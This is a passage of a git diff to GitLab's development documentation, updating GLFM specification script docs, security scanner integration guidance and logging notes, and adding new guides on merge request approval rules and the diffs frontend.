entry point files under #### `update-specification.rb` script The `scripts/glfm/update-specification.rb` script uses [input specification files](#input-specification-files) to -generate and update `spec.txt` (Markdown) and `spec.html` (HTML). The `spec.html` is -generated by passing the generated (or updated) `spec.txt` Markdown to the backend API -for rendering to static HTML: +generate and update Markdown and HTML output files for the +[`spec.txt`](#spectxt) and [`spec.html`](#spechtml) +[output specification files](#output-specification-files) as well as the +[`snapshot_spec.md`](#snapshot_specmd) and [`snapshot_spec.html`](#snapshot_spechtml) +[output example snapshot files](#output-example-snapshot-files). + +The HTML files are created by passing the generated (or updated) Markdown to the backend API +for rendering to HTML. + +```mermaid +graph LR +subgraph script: + S{update-specification.rb} +end +subgraph input - markdown files + I1[glfm_official_specification.md - GLFM official specification examples] --> S +end +subgraph output - specification files + S --> O1[spec.txt - GLFM official specification examples] + S --> O2[spec.html - GLFM official specification examples] +end +``` ```mermaid graph LR subgraph script: - A{update-specification.rb} - A --> B{Backend Markdown API} + S{update-specification.rb} end -subgraph input:<br/>input specification files - C[ghfm_spec_v_0.29.md] --> A - D[glfm_intro.md] --> A - E[glfm_official_specification.md] --> A - F[glfm_internal_extensions.md] --> A +subgraph input - markdown files + I1[ghfm_spec_v_0.29.md - CommonMark and GHFM specification examples] --> S + I2[glfm_internal_extensions.md - GLFM internal extension examples] --> S end -subgraph output:<br/>GLFM specification files - A --> G[spec.txt] - G --> B - B --> H[spec.html] +subgraph output - example snapshot files + S --> O1[snapshot_spec.md - CommonMark, GHFM, GLFM internal extension examples] + S --> O2[snapshot_spec.html - CommonMark, GHFM, GLFM internal extension examples] end ``` @@ -655,7 +671,8 @@ script, which expects canonical HTML, against the GitLab renderer implementation `scripts/glfm/run-spec-tests.sh` is a convenience shell script which runs conformance specs via the CommonMark standard `spec_tests.py` script, -which uses the `glfm_specification/output_spec/spec.txt` file and `scripts/glfm/canonicalize-html.rb` +which uses the `ghfm_spec_v_0.29.md` and `glfm_specification/output_spec/spec.txt` files +with the `scripts/glfm/canonicalize-html.rb` helper script to test the GLFM renderer implementations' support for rendering Markdown specification examples to canonical HTML. @@ -669,7 +686,8 @@ subgraph scripts: end end subgraph input - D[spec.txt GLFM specification] --> C + D1[ghfm_spec_v_0.29.md GLFM specification] --> C + D2[spec.txt GLFM specification] --> C E((GLFM static<br/>renderer implementation)) --> B F((GLFM WYSIWYG<br/>renderer implementation)) --> B end @@ -680,22 +698,28 @@ end #### `update-example-snapshots.rb` script -The `scripts/glfm/update-example-snapshots.rb` script uses the GLFM -`glfm_specification/output_spec/spec.txt` specification file and the -`glfm_specification/input/gitlab_flavored_markdown/glfm_example_status.yml` -file to create and update the [example snapshot](#output-example-snapshot-files) -YAML files: +The `scripts/glfm/update-example-snapshots.rb` script creates and updates the +[example snapshot](#output-example-snapshot-files) YAML files. + +Its inputs are: + +- The `glfm_specification/output_spec/snapshot_spec.md` file, which contains the + superset of all CommonMark, GFM, and GLFM official and internal examples. +- The `glfm_specification/input/gitlab_flavored_markdown/glfm_example_*.yml` YAML files, which + contain metadata to control how to generate the example snapshot files. ```mermaid graph LR subgraph script: A{update-example-snapshots.rb} end -subgraph input:<br/>input specification file - B[spec.txt] --> A - C[glfm_example_status.yml] --> A +subgraph input: markdown input specification files + B1[snapshot_spec.md] --> A + C1[glfm_example_status.yml] --> A + C2[glfm_example_normalizations.yml] --> A + C3[glfm_example_metadata.yml] --> A end -subgraph output:<br/>example snapshot files +subgraph output: YAML example snapshot files A --> E[examples_index.yml] A --> F[markdown.yml] A --> G[html.yml] @@ -736,15 +760,15 @@ end subgraph script: A{run-snapshopt-tests.sh} -->|invokes| B end +subgraph output:<br/>test results/output + B --> H[rspec+jest output] +end subgraph input:<br/>YAML C[examples_index.yml] --> B D[markdown.yml] --> B E[html.yml] --> B F[prosemirror_json.yml] --> B end -subgraph output:<br/>test results/output - B --> H[rspec+jest output] -end ``` #### `verify-all-generated-files-are-up-to-date.rb` script @@ -1111,8 +1135,12 @@ move or copy a hosted version of the rendered HTML `spec.html` version to anothe is a Markdown specification file, in the standard format with prose and Markdown + canonical HTML examples. +In the GLFM specification, `spex.txt` only contains the official specifiaction examples from +[`glfm_official_specification.md`](#glfm_official_specificationmd). It does not contain +the internal extension examples from [`glfm_internal_extensions.md`](#glfm_internal_extensionsmd). + It also serves as input for other scripts such as -`run-spec-tests.sh`. +[`run-spec-tests.sh`](#run-spec-testssh-script). It is generated or updated by the `update-specification.rb` script, using the [input specification files](#input-specification-files) as input. diff --git a/doc/development/gitlab_shell/index.md b/doc/development/gitlab_shell/index.md index 7f2c113fa0c..7097fd48cea 100644 --- a/doc/development/gitlab_shell/index.md +++ b/doc/development/gitlab_shell/index.md @@ -21,7 +21,7 @@ Ruby to build and test, but not to run. GitLab Shell runs on `port 22` on an Omnibus installation. To use a regular SSH service, configure it on an alternative port. -Download and install the current version of Go from [golang.org](https://golang.org/dl/). +Download and install the current version of Go from [golang.org](https://go.dev/dl/). We follow the [Golang Release Policy](https://golang.org/doc/devel/release.html#policy) and support: diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index e7e628f5293..508219cee43 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -134,7 +134,7 @@ lint: Including a `.golangci.yml` in the root directory of the project allows for configuration of `golangci-lint`. All options for `golangci-lint` are listed in -this [example](https://github.com/golangci/golangci-lint/blob/master/.golangci.example.yml). +this [example](https://github.com/golangci/golangci-lint/blob/master/.golangci.yml). Once [recursive includes](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) become available, you can share job templates like this diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md index 2c8d7eac2a6..bfc4d817c73 100644 --- a/doc/development/i18n/translation.md +++ b/doc/development/i18n/translation.md @@ -75,6 +75,7 @@ The level of formality used in software varies by language: | -------- | --------- | ------- | | French | formal | `vous` for `you` | | German | informal | `du` for `you` | +| Spanish | informal | `tú` for `you` | Refer to other translated strings and notes in the glossary to assist you in determining a suitable level of formality. diff --git a/doc/development/import_export.md b/doc/development/import_export.md index 9aab7f38dbb..17e733e8904 100644 --- a/doc/development/import_export.md +++ b/doc/development/import_export.md @@ -105,10 +105,9 @@ module Gitlab VERSION = '0.2.4' ``` -## Version history +## Compatibility -Check the [version history](../user/project/settings/import_export.md#version-history) -for compatibility when importing and exporting projects. +Check for [compatibility](../user/project/settings/import_export.md#compatibility) when importing and exporting projects. ### When to bump the version up diff --git a/doc/development/index.md b/doc/development/index.md index d4a34051bc8..a39a83b257a 100644 --- a/doc/development/index.md +++ b/doc/development/index.md @@ -11,38 +11,11 @@ description: "Development Guidelines: learn how to contribute to GitLab." Learn how to contribute to the development of the GitLab product. -This content is intended for members of the GitLab Team as well as community -contributors. Content specific to the GitLab Team should instead be included in -the [Handbook](https://about.gitlab.com/handbook/). - -For information on using GitLab to work on your own software projects, see the -[GitLab user documentation](../user/index.md). - -For information on working with the GitLab APIs, see the [API documentation](../api/index.md). - -For information about how to install, configure, update, and upgrade your own -GitLab instance, see the [Administrator documentation](../administration/index.md). - -## Get started - -- Set up the GitLab development environment with the - [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md) -- [GitLab contributing guide](contributing/index.md) - - [Issues workflow](contributing/issue_workflow.md) for more information about: - - Issue tracker guidelines. - - Triaging. - - Labels. - - Feature proposals. - - Issue weight. - - Regression issues. - - Technical or UX debt. - - [Merge requests workflow](contributing/merge_request_workflow.md) for more - information about: - - Merge request guidelines. - - Contribution acceptance criteria. - - Definition of done. - - Dependencies. - - [Style guides](contributing/style_guides.md) - - [Implement design & UI elements](contributing/design.md) -- [GitLab Architecture Overview](architecture.md) -- [Rake tasks](rake_tasks.md) for development +This content is intended for GitLab team members as well as members of the wider community. + +- [Contribute to GitLab development](contributing/index.md) +- [Contribute to Omnibus development](https://docs.gitlab.com/omnibus/development/) +- [Contribute to GitLab Pages development](pages/index.md) +- [Contribute to GitLab Runner development](https://docs.gitlab.com/runner/development/) +- [Contribute to Helm chart development](https://docs.gitlab.com/charts/development/) +- [Contribute to the GitLab documentation](documentation/index.md) diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md index b7fe3fbd1c4..4553ed2966f 100644 --- a/doc/development/integrations/codesandbox.md +++ b/doc/development/integrations/codesandbox.md @@ -2,12 +2,17 @@ stage: none group: Development info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +remove_date: '2023-02-01' --- -# Set up local CodeSandbox development environment +# Set up local CodeSandbox development environment (removed) + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108627) in GitLab 15.8 +and is planned for removal in 15.9. This change is a breaking change. This guide walks through setting up a local [CodeSandbox repository](https://github.com/codesandbox/codesandbox-client) and integrating it with a local GitLab instance. CodeSandbox -is used to power the Web IDE [Live Preview feature](../../user/project/web_ide/index.md#live-preview). Having a local CodeSandbox setup is useful for debugging upstream issues or +is used to power the Web IDE [Live Preview feature](../../user/project/web_ide/index.md#live-preview-removed). Having a local CodeSandbox setup is useful for debugging upstream issues or creating upstream contributions like [this one](https://github.com/codesandbox/codesandbox-client/pull/5137). ## Initial setup @@ -114,7 +119,11 @@ out of the box: npx http-server --proxy http://localhost:3000 -S -C $PATH_TO_CERT_PEM -K $PATH_TO_KEY_PEM -p 8044 -d false ``` -### Update `bundler_url` setting in GitLab +### Update `bundler_url` setting in GitLab (removed) + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108627) in GitLab 15.8 +and is planned for removal in 15.9. This change is a breaking change. We need to update our `application_setting_implementation.rb` to point to the server that hosts the CodeSandbox `sandpack` assets. For instance, if these assets are hosted by a server at `https://sandpack.local:8044`: diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md index 5b460f8723a..eca4d9775c5 100644 --- a/doc/development/integrations/jira_connect.md +++ b/doc/development/integrations/jira_connect.md @@ -54,7 +54,7 @@ To install the app in Jira: 1. Select **Upload**. - If the install was successful, you should see the **GitLab.com for Jira Cloud** app under **Manage apps**. + If the install was successful, you should see the **GitLab for Jira Cloud** app under **Manage apps**. You can also select **Getting Started** to open the configuration page rendered from your GitLab instance. _Note that any changes to the app descriptor requires you to uninstall then reinstall the app._ diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index f5bb2df2494..002579d9b83 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -31,7 +31,6 @@ For consistency, scanning jobs should be named after the scanner, in lower case. The job name is suffixed after the type of scanning: - `_dependency_scanning` -- `_cluster_image_scanning` - `_container_scanning` - `_dast` - `_sast` @@ -79,7 +78,6 @@ Valid reports are: - `dependency_scanning` - `container_scanning` -- `cluster_image_scanning` - `dast` - `api_fuzzing` - `coverage_fuzzing` @@ -96,7 +94,7 @@ mysec_sast: sast: gl-sast-report.json ``` -Note that `gl-sast-report.json` is an example file path but any other filename can be used. See +`gl-sast-report.json` is an example file path but any other filename can be used. See [the Output file section](#output-file) for more details. It's processed as a SAST report because it's declared under the `reports:sast` key in the job definition, not because of the filename. @@ -108,7 +106,6 @@ for variables such as: - `DEPENDENCY_SCANNING_DISABLED` - `CONTAINER_SCANNING_DISABLED` -- `CLUSTER_IMAGE_SCANNING_DISABLED` - `SAST_DISABLED` - `DAST_DISABLED` @@ -150,7 +147,7 @@ regardless of the individual machine the scanner runs on. Depending on the CI infrastructure, the CI may have to fetch the Docker image every time the job runs. For the scanning job to run fast and avoid wasting bandwidth, Docker images should be as small as -possible. You should aim for 50MB or smaller. If that isn't possible, try to keep it below 1.46 GB, +possible. You should aim for 50 MB or smaller. If that isn't possible, try to keep it below 1.46 GB, which is the size of a DVD-ROM. If the scanner requires a fully functional Linux environment, @@ -199,7 +196,7 @@ SAST and Dependency Scanning scanners must scan the files in the project directo #### Container Scanning -In order to be consistent with the official Container Scanning for GitLab, +To be consistent with the official Container Scanning for GitLab, scanners must scan the Docker image whose name and tag are given by `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG`, respectively. If the `DOCKER_IMAGE` CI/CD variable is provided, then the `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG` variables @@ -214,19 +211,6 @@ using the variables `DOCKER_USER` and `DOCKER_PASSWORD`. If these are not defined, then the scanner should use `CI_REGISTRY_USER` and `CI_REGISTRY_PASSWORD` as default values. -#### Cluster Image Scanning - -To be consistent with the official `cluster_image_scanning` for GitLab, scanners must scan the -Kubernetes cluster whose configuration is given by `KUBECONFIG`. - -If you use the `CIS_KUBECONFIG` CI/CD variable, then the -`KUBECONFIG` variable is ignored and the cluster specified in the -`CIS_KUBECONFIG` variable is scanned instead. If you don't provide -the `CIS_KUBECONFIG` CI/CD variable, the value defaults to the value of -`$KUBECONFIG`. `$KUBECONFIG` is a predefined CI/CD variable configured when the project is assigned to a -Kubernetes cluster. When multiple contexts are provided in the `KUBECONFIG` variable, the context -selected as `current-context` will be used to fetch vulnerabilities. - #### Configuration files While scanners may use `CI_PROJECT_DIR` to load specific configuration files, @@ -320,7 +304,6 @@ and [Container Scanning](../../user/application_security/container_scanning/inde You can find the schemas for these scanners here: -- [Cluster Image Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/cluster-image-scanning-report-format.json) - [Container Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json) - [Coverage Fuzzing](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/coverage-fuzzing-report-format.json) - [DAST](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/dast-report-format.json) @@ -414,7 +397,6 @@ We recommend that you generate a UUID and use it as the `id` field's value. The value of the `category` field matches the report type: - `dependency_scanning` -- `cluster_image_scanning` - `container_scanning` - `sast` - `dast` @@ -440,7 +422,7 @@ Even when the [`Vulnerabilities`](#vulnerabilities) array for a given scan may b should contain the complete list of potential identifiers to inform the Rails application of which rules were executed. -When populated, the Rails application will automatically resolve previously detected vulnerabilities as no +When populated, the Rails application automatically resolves previously detected vulnerabilities as no longer relevant when their primary identifier is not included. ##### Name, message, and description @@ -526,7 +508,7 @@ Not all vulnerabilities have CVEs, and a CVE can be identified multiple times. A isn't a stable identifier and you shouldn't assume it as such when tracking vulnerabilities. The maximum number of identifiers for a vulnerability is set as 20. If a vulnerability has more than 20 identifiers, -the system saves only the first 20 of them. Note that vulnerabilities in the [Pipeline Security](../../user/application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) +the system saves only the first 20 of them. The vulnerabilities in the [Pipeline Security](../../user/application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) tab do not enforce this limit and all identifiers present in the report artifact are displayed. #### Details @@ -604,40 +586,6 @@ so these attributes are mandatory. The `image` is also mandatory. All other attributes are optional. -##### Cluster Image Scanning - -The `location` of a `cluster_image_scanning` vulnerability has a `dependency` field. It also has -an `operating_system` field. For example, here is the `location` object for a vulnerability -affecting version `2.50.3-2+deb9u1` of Debian package `glib2.0`: - -```json -{ - "dependency": { - "package": { - "name": "glib2.0" - }, - }, - "version": "2.50.3-2+deb9u1", - "operating_system": "debian:9", - "image": "index.docker.io/library/nginx:1.18", - "kubernetes_resource": { - "namespace": "production", - "kind": "Deployment", - "name": "nginx-ingress", - "container_name": "nginx", - "agent_id": "1" - } -} -``` - -The affected package is found when scanning a deployment using the `index.docker.io/library/nginx:1.18` image. - -The location fingerprint of a Cluster Image Scanning vulnerability combines the -`namespace`, `kind`, `name`, and `container_name` fields from the `kubernetes_resource`, -as well as the package `name`, so these fields are required. The `image` field is also mandatory. -The `cluster_id` and `agent_id` are mutually exclusive, and one of them must be present. -All other fields are optional. - ##### SAST The `location` of a SAST vulnerability must have a `file` and a `start_line` field, diff --git a/doc/development/internal_api/index.md b/doc/development/internal_api/index.md index f0fdedd801f..b19e431ebc6 100644 --- a/doc/development/internal_api/index.md +++ b/doc/development/internal_api/index.md @@ -476,7 +476,7 @@ agent to be authorized is [not yet implemented](https://gitlab.com/gitlab-org/gi | Attribute | Type | Required | Description | |:----------|:-------|:---------|:------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../api/index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../api/rest/index.md#namespaced-path-encoding) | ```plaintext GET /internal/kubernetes/project_info @@ -1377,7 +1377,8 @@ Returns an empty response with a `204` status code if successful. ### Remove a single SCIM provisioned user -Removes the user's SSO identity. +The user is placed in an `ldap_blocked` status and signed out. This means +the user cannot sign in or push or pull code. ```plaintext DELETE /api/scim/v2/application/Users/:id diff --git a/doc/development/logging.md b/doc/development/logging.md index 6282f0f6677..538fc7ccfe1 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -390,14 +390,32 @@ end On GitLab.com, that setting is only 6 compressed files. These settings should suffice for most users, but you may need to tweak them in [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab). -1. If you add a new file, submit an issue to the - [production tracker](https://gitlab.com/gitlab-com/gl-infra/production/-/issues) or - a merge request to the [`gitlab_fluentd`](https://gitlab.com/gitlab-cookbooks/gitlab_fluentd) - project. See [this example](https://gitlab.com/gitlab-cookbooks/gitlab_fluentd/-/merge_requests/51/diffs). +1. On GitLab.com all new JSON log files generated by GitLab Rails are + automatically shipped to Elasticsearch (and available in Kibana) on GitLab + Rails Kubernetes pods. If you need the file forwarded from Gitaly nodes then + submit an issue to the + [production tracker](https://gitlab.com/gitlab-com/gl-infra/production/-/issues) + or a merge request to the + [`gitlab_fluentd`](https://gitlab.com/gitlab-cookbooks/gitlab_fluentd) + project. See + [this example](https://gitlab.com/gitlab-cookbooks/gitlab_fluentd/-/merge_requests/51/diffs). 1. Be sure to update the [GitLab CE/EE documentation](../administration/logs/index.md) and the [GitLab.com runbooks](https://gitlab.com/gitlab-com/runbooks/blob/master/docs/logging/README.md). +## Finding new log files in Kibana (GitLab.com only) + +On GitLab.com all new JSON log files generated by GitLab Rails are +automatically shipped to Elasticsearch (and available in Kibana) on GitLab +Rails Kubernetes pods. The `json.subcomponent` field in Kibana will allow you +to filter by the different kinds of log files. For example the +`json.subcomponent` will be `production_json` for entries forwarded from +`production_json.log`. + +It's also worth noting that log files from Web/API pods go to a different +index than log files from Sidekiq pods. Depending on where you log from you +will find the logs in a different index pattern. + ## Control logging visibility An increase in the logs can cause a growing backlog of unacknowledged messages. When adding new log messages, make sure they don't increase the overall volume of logging by more than 10%. diff --git a/doc/development/merge_request_application_and_rate_limit_guidelines.md b/doc/development/merge_request_application_and_rate_limit_guidelines.md index 07a48ad7723..07788400adf 100644 --- a/doc/development/merge_request_application_and_rate_limit_guidelines.md +++ b/doc/development/merge_request_application_and_rate_limit_guidelines.md @@ -1,28 +1,11 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'merge_request_concepts/rate_limits.md' +remove_date: '2023-04-23' --- -# Application and rate limit guidelines +This document was moved to [another location](merge_request_concepts/rate_limits.md). -GitLab, like most large applications, enforces limits within certain features. -The absences of limits can affect security, performance, data, or could even -exhaust the allocated resources for the application. - -Every new feature should have safe usage limits included in its implementation. -Limits are applicable for: - -- System-level resource pools such as API requests, SSHD connections, database connections, storage, and so on. -- Domain-level objects such as CI/CD minutes, groups, sign-in attempts, and so on. - -## When limits are required - -1. Limits are required if the absence of the limit matches severity 1 - 3 in the severity definitions for [limit-related bugs](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#limit-related-bugs). -1. [GitLab application limits](../administration/instance_limits.md) documentation must be updated anytime limits are added, removed, or updated. - -## Additional reading - -- Existing [GitLab application limits](../administration/instance_limits.md) -- Product processes: [introducing application limits](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits) -- Development docs: [guide for adding application limits](application_limits.md) +<!-- This redirect file can be deleted after <2023-04-23>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/merge_request_concepts/approval_rules.md b/doc/development/merge_request_concepts/approval_rules.md new file mode 100644 index 00000000000..d119644cd7c --- /dev/null +++ b/doc/development/merge_request_concepts/approval_rules.md @@ -0,0 +1,286 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Approval Rules development guide + +This document explains the backend design and flow of all related functionality +about [merge request approval rules](../../user/project/merge_requests/approvals/index.md). + +This should help contributors to understand the code design easier and to also +help see if there are parts to improve as the feature and its implementation +evolves. + +It's intentional that it doesn't contain too much implementation detail as they +can change often. The code should explain those things better. The components +mentioned here are the major parts of the application for the approval rules +feature to work. + +NOTE: +This is a living document and should be updated accordingly when parts +of the codebase touched in this document are changed or removed, or when new components +are added. + +## Data Model + +```mermaid +erDiagram + Project ||--o{ MergeRequest: " " + Project ||--o{ ApprovalProjectRule: " " + ApprovalProjectRule }o--o{ User: " " + ApprovalProjectRule }o--o{ Group: " " + ApprovalProjectRule }o--o{ ProtectedBranch: " " + MergeRequest ||--|| ApprovalState: " " + ApprovalState ||--o{ ApprovalWrappedRule: " " + MergeRequest ||--o{ Approval: " " + MergeRequest ||--o{ ApprovalMergeRequestRule: " " + ApprovalMergeRequestRule }o--o{ User: " " + ApprovalMergeRequestRule }o--o{ Group: " " + ApprovalMergeRequestRule ||--o| ApprovalProjectRule: " " +``` + +### `Project` and `MergeRequest` + +`Project` and `MergeRequest` models are defined in `ee/app/models/ee/project.rb` +and `ee/app/models/ee/merge_request.rb`. They extend the non-EE versions, because +approval rules are an EE-only feature. Associations and other related stuff to +merge request approvals are defined here. + +### `ApprovalState` + +```mermaid +erDiagram + MergeRequest ||--|| ApprovalState: " " +``` + +`ApprovalState` class is defined in `ee/app/models/approval_state.rb`. It's not +an actual `ActiveRecord` model. This class encapsulates all logic related to the +state of the approvals for a certain merge request like: + +- Knowing the approval rules that are applicable to the merge request based on + its target branch. +- Knowing the approval rules that are applicable to a certain target branch. +- Checking if all rules were approved. +- Checking if approval is required. +- Knowing how many approvals were given or still required. + +It gets the approval rules data from the project (`ApprovalProjectRule`) or the +merge request (`ApprovalMergeRequestRule`) and wrap it as `ApprovalWrappedRule`. + +### `ApprovalProjectRule` + +```mermaid +erDiagram + Project ||--o{ ApprovalProjectRule: " " + ApprovalProjectRule }o--o{ User: " " + ApprovalProjectRule }o--o{ Group: " " + ApprovalProjectRule }o--o{ ProtectedBranch: " " +``` + +`ApprovalProjectRule` model is defined in `ee/app/models/approval_project_rule.rb`. + +A record is created/updated/deleted when an approval rule is added/edited/removed +via project settings or the [project level approvals API](../../api/merge_request_approvals.md#project-level-mr-approvals). +The `ApprovalState` model get these records when approval rules are not +overwritten. + +The `protected_branches` attribute is set and used when a rule is scoped to +protected branches. See [Approvals for protected branches](../../user/project/merge_requests/approvals/rules.md#approvals-for-protected-branches) +for more information about the feature. + +### `ApprovalMergeRequestRule` + +```mermaid +erDiagram + MergeRequest ||--o{ ApprovalMergeRequestRule: " " + ApprovalMergeRequestRule }o--o{ User: " " + ApprovalMergeRequestRule }o--o{ Group: " " + ApprovalMergeRequestRule ||--o| ApprovalProjectRule: " " +``` + +`ApprovalMergeRequestRule` model is defined in `ee/app/models/approval_merge_request_rule.rb`. + +A record is created/updated/deleted when a rule is added/edited/removed via merge +request create/edit form or the [merge request level approvals API](../../api/merge_request_approvals.md#merge-request-level-mr-approvals). + +The `approval_project_rule` is set when it is based from an existing `ApprovalProjectRule`. + +An `ApprovalMergeRequestRule` doesn't have `protected_branches` as it inherits +them from the `approval_project_rule` if not overridden. + +### `ApprovalWrappedRule` + +```mermaid +erDiagram + ApprovalState ||--o{ ApprovalWrappedRule: " " +``` + +`ApprovalWrappedRule` is defined in `ee/app/modes/approval_wrapped_rule.rb` and +is not an `ActiveRecord` model. It's used to wrap an `ApprovalProjectRule` or +`ApprovalMergeRequestRule` for common interface. It also has the following sub +types: + +- `ApprovalWrappedAnyApprovalRule` - for wrapping an `any_approver` rule. +- `ApprovalWrappedCodeOwnerRule` - for wrapping a `code_owner` rule. + +This class delegates most of the responsibilities to the approval rule it wraps +but it's also responsible for: + +- Checking if the approval rule is approved. +- Knowing how many approvals were given or still required for the approval rule. + +It gets this information from the approval rule and the `Approval` records from +the merge request. + +### `Approval` + +```mermaid +erDiagram + MergeRequest ||--o{ Approval: " " +``` + +`Approval` model is defined in `ee/app/models/approval.rb`. This model is +responsible for storing information about an approval made on a merge request. +Whenever an approval is given/revoked, a record is created/deleted. + +## Controllers and Services + +The following controllers and services below are being used for the approval +rules feature to work. + +### `API::ProjectApprovalSettings` + +This private API is defined in `ee/lib/api/project_approval_settings.rb`. + +This is used for the following: + +- Listing the approval rules in project settings. +- Creating/updating/deleting rules in project settings. +- Listing the approval rules on create merge request form. + +### `Projects::MergeRequests::CreationsController` + +This controller is defined in `app/controllers/projects/merge_requests/creations_controller.rb`. + +The `create` action of this controller is used when create merge request form is +submitted. It accepts the `approval_rules_attributes` parameter for creating/updating/deleting +`ApprovalMergeRequestRule` records. It passes the parameter along when it executes +`MergeRequests::CreateService`. + +### `Projects::MergeRequestsController` + +This controller is defined in `app/controllers/projects/merge_requests_controller.rb`. + +The `update` action of this controller is used when edit merge request form is +submitted. It's like `Projects::MergeRequests::CreationsController` but it executes +`MergeRequests::UpdateService` instead. + +### `API::MergeRequestApprovals` + +This API is defined in `ee/lib/api/merge_request_approvals.rb`. + +The [Approvals API endpoint](../../api/merge_request_approvals.md#get-configuration-1) +is requested when merge request page loads. + +The `/projects/:id/merge_requests/:merge_request_iid/approval_settings` is a +private API endpoint used for the following: + +- Listing the approval rules on edit merge request form. +- Listing the approval rules on the merge request page. + +When approving/unapproving MR via UI and API, the [Approve Merge Request](../../api/merge_request_approvals.md#approve-merge-request) +API endpoint and the [Unapprove Merge Request](../../api/merge_request_approvals.md#unapprove-merge-request) +API endpoint are requested. They execute `MergeRequests::ApprovalService` and +`MergeRequests::RemoveApprovalService` accordingly. + +### `API::ProjectApprovalRules` and `API::MergeRequestApprovalRules` + +These APIs are defined in `ee/lib/api/project_approval_rules.rb` and +`ee/lib/api/merge_request_approval_rules.rb`. + +Used to list/create/update/delete project and merge request level rules via +[Merge request approvals API](../../api/merge_request_approvals.md). + +Executes `ApprovalRules::CreateService`, `ApprovalRules::UpdateService`, +`ApprovalRules::ProjectRuleDestroyService`, and `ApprovalRules::MergeRequestRuleDestroyService` +accordingly. + +### `ApprovalRules::ParamsFilteringService` + +This service is defined in `ee/app/services/approval_rules/params_filtering_service.rb`. + +It is called only when `MergeRequests::CreateService` and +`MergeRequests::UpdateService` are executed. + +It is responsible for parsing `approval_rules_attributes` parameter to: + +- Remove it when user can't update approval rules. +- Filter the user IDs whether they are members of the project or not. +- Filter the group IDs whether they are visible to user. +- Identify the `any_approver` rule. +- Append hidden groups to it when specified. +- Append user defined inapplicable (rules that do not apply to the merge request's target + branch) approval rules. + +## Flow + +These flowcharts should help explain the flow from the controllers down to the +models for different functionalities. + +Some CRUD API endpoints are intentionally skipped because they are pretty +straightforward. + +### Creating a merge request with approval rules via web UI + +```mermaid +graph LR + Projects::MergeRequests::CreationsController --> MergeRequests::CreateService + MergeRequests::CreateService --> ApprovalRules::ParamsFilteringService + ApprovalRules::ParamsFilteringService --> MergeRequests::CreateService + MergeRequests::CreateService --> MergeRequest + MergeRequest --> db[(Database)] + MergeRequest --> User + MergeRequest --> Group + MergeRequest --> ApprovalProjectRule + User --> db[(Database)] + Group --> db[(Database)] + ApprovalProjectRule --> db[(Database)] +``` + +When updating, same flow is followed but it starts at `Projects::MergeRequestsController` +and executes `MergeRequests::UpdateService` instead. + +### Viewing the merge request approval rules on an MR page + +```mermaid +graph LR + API::MergeRequestApprovals --> MergeRequest + MergeRequest --> ApprovalState + ApprovalState --> id1{approval rules are overridden} + id1{approval rules are overridden} --> |No| ApprovalProjectRule & ApprovalMergeRequestRule + id1{approval rules are overridden} --> |Yes| ApprovalMergeRequestRule + ApprovalState --> ApprovalWrappedRule + ApprovalWrappedRule --> Approval +``` + +This flow gets initiated by the frontend component. The data returned is +used to display information on the MR widget. + +### Approving a merge request + +```mermaid +graph LR + API::MergeRequestApprovals --> MergeRequests::ApprovalService + MergeRequests::ApprovalService --> Approval + Approval --> db[(Database)] +``` + +When unapproving, same flow is followed but the `MergeRequests::RemoveApprovalService` +is executed instead. + +## TODO + +1. Add information related to other rule types, such as `code_owner` and `report_approver`. +1. Add information about side effects of approving/unapproving merge request. diff --git a/doc/development/merge_request_concepts/diffs/frontend.md b/doc/development/merge_request_concepts/diffs/frontend.md new file mode 100644 index 00000000000..6bd6d80af94 --- /dev/null +++ b/doc/development/merge_request_concepts/diffs/frontend.md @@ -0,0 +1,208 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Merge request diffs frontend overview + +This document provides an overview on how the frontend diffs Vue application works, and +the various different parts that exist. It should help contributors: + +- Understand how the diffs Vue app is set up. +- Identify any areas that need improvement. + +This document is a living document. Update it whenever anything significant changes in +the diffs application. + +## Diffs Vue app + +### Components + +The Vue app for rendering diffs uses many different Vue components, some of which get shared +with other areas of the GitLab app. The below chart shows the direction for which components +get rendered. + +NOTE: +[Issue 